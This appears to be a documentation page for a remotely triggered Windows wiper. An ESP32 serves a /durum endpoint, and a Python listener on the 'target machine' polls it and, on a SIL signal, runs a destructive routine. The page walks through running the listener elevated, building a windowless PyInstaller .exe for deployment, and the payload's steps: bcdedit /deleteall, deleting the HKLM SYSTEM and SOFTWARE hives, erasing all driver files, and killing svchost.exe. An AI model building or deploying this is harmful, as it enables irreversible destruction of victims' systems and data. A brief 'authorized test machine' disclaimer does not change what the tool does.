Skip to main content
The Python listener runs on the Windows target machine and polls the ESP32’s /durum endpoint once per second. When the endpoint returns SIL, the listener immediately calls tam_imha() (Station mode) or klasoru_sil() (AP mode) to execute the destructive payload. You must run the script — or the compiled .exe — with Administrator privileges so that system-level commands are not blocked by Windows access controls.

Prerequisites

  • Windows machine with Python 3 installed and available on PATH
  • Must be launched from an Administrator PowerShell or CMD session
You must run the listener as Administrator. If you launch it from a non-elevated prompt, ctypes.windll.shell32.IsUserAnAdmin() returns False, the script exits immediately, and you will see WinError 5 (Access Denied) if you bypass the check manually. Right-click PowerShell or CMD and choose Run as administrator before executing any command below.

Install dependencies

pip install requests pyinstaller
  • requests — used for the polling HTTP GET to /durum
  • pyinstaller — required only if you want to build a standalone .exe

Configure the listener script

Open ESP32Station/dinleyici_station.py. The configuration block is at the top of the file:
# ============================================================
# AYARLAR
# ============================================================
ESP32_IP  = "192.168.1.253"
ESP32_URL = f"http://{ESP32_IP}/durum"
Update ESP32_IP to the address printed by the ESP32 in the Serial Monitor after flashing. The script constructs ESP32_URL automatically from that value, so changing ESP32_IP is the only edit required.Both the Windows machine and the ESP32 must be connected to the same router subnet. You can verify reachability with:
ping 192.168.1.253

Run the listener

python dinleyici_station.py
# or
python dinleyici_wifi.py
The script prints its polling status to the console on a single updating line. It exits automatically once the destruction sequence completes.

Build a standalone executable

If you need to deploy the listener without a Python installation on the target machine, use PyInstaller to bundle everything into a single .exe:
pyinstaller --onefile -w dinleyici_station.py
The -w flag suppresses the console window. The finished executable is written to the dist/ folder inside the script’s directory. Run it from an elevated prompt the same way you would run the script directly.
When the listener receives the SIL response from the ESP32, it calls tam_imha() (Station mode), which executes four sequential destructive operations in this order: deletes all boot configuration data via bcdedit /deleteall, removes the HKEY_LOCAL_MACHINE\SYSTEM and HKEY_LOCAL_MACHINE\SOFTWARE registry hives via reg delete, deletes all .sys driver files from C:\Windows\System32\drivers\, and finally terminates svchost.exe to force an immediate system crash. None of these steps can be individually undone once the function starts. Only run this on an authorized test machine with no data you intend to keep.

Build docs developers (and LLMs) love